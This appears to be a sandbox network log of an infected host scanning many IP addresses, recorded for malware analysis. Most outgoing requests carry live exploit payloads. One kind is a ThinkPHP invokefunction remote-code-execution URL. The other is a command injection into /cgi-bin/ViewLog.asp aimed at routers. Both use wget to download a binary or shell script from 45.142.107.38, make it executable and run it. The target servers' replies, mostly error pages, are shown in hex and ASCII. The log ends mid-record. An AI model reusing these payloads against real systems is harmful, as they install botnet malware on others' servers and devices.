Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.13	44634	88.214.194.206	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:50.297317982 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:50.386341095 CET	273	IN	HTTP/1.1 505 HTTP Version Not Supported Server: akka-http/10.1.11 Date: Mon, 04 Mar 2024 14:08:50 GMT Connection: close Content-Type: text/plain; charset=UTF-8 Content-Length: 74 Data Raw: 54 68 65 20 73 65 72 76 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 74 68 65 20 48 54 54 50 20 70 72 6f 74 6f 63 6f 6c 20 76 65 72 73 69 6f 6e 20 75 73 65 64 20 69 6e 20 74 68 65 20 72 65 71 75 65 73 74 2e Data Ascii: The server does not support the HTTP protocol version used in the request.

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.13	54642	95.161.64.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.567679882 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.13	34278	95.85.38.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.575601101 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:52.744070053 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:52 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.13	47590	95.216.245.147	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.601087093 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:52.791665077 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.13	40796	95.180.163.211	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.619858980 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:52.830010891 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 04 Mar 2024 13:09:23 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.13	40482	95.191.130.152	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.654793978 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:52.902753115 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.13.6 Date: Mon, 04 Mar 2024 14:08:52 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 33 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.13.6</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.13	38872	88.198.182.236	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.740154028 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:52.912516117 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.13	41382	88.198.198.168	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.748037100 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:52.920454979 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:08:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.13	39938	95.100.10.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.841906071 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:53.355962038 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:53 GMT Date: Mon, 04 Mar 2024 14:08:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 66 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 39 35 36 31 33 33 33 26 23 34 36 3b 31 36 31 33 64 65 34 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.4f722c31.1709561333.1613de4b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
742	192.168.2.13	39946	95.100.10.179	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.865612030 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:53.375602007 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:53 GMT Date: Mon, 04 Mar 2024 14:08:53 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 66 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 39 35 36 31 33 33 33 26 23 34 36 3b 31 36 31 33 64 65 37 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.4f722c31.1709561333.1613de74</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
743	192.168.2.13	42128	94.122.120.86	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.943300962 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
744	192.168.2.13	49230	94.123.149.253	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:52.952879906 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
745	192.168.2.13	52490	31.217.246.77	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:53.113949060 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
746	192.168.2.13	50768	95.217.40.226	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:53.131834984 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:53.320858002 CET	358	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Mon, 04 Mar 2024 14:08:53 GMT Content-Type: text/html Content-Length: 138 Connection: close Location: https://192.168.0.14:8080/cgi-bin/ViewLog.asp Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.13	46570	94.121.101.237	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:53.156337976 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.13	37620	95.86.79.224	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:53.161314011 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.13	36746	31.136.68.85	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:53.897815943 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:56.950867891 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:09:03.094907045 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.13	55864	88.221.73.20	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:54.567286968 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:54.745592117 CET	478	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 256 Expires: Mon, 04 Mar 2024 14:08:54 GMT Date: Mon, 04 Mar 2024 14:08:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 34 34 39 64 64 35 38 26 23 34 36 3b 31 37 30 39 35 36 31 33 33 34 26 23 34 36 3b 32 65 66 39 34 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1449dd58.1709561334.2ef94a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.13	59354	88.129.150.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:54.581924915 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:54.774666071 CET	76	IN	HTTP/1.0 303 Use Instead Location: /index.html Content-Type: text/html
Mar 4, 2024 15:08:54.820158005 CET	76	IN	HTTP/1.0 303 Use Instead Location: /index.html Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	53562	88.206.87.21	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:54.622999907 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	55900	95.100.78.184	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:54.754493952 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:54.927603960 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:08:54 GMT Date: Mon, 04 Mar 2024 14:08:54 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 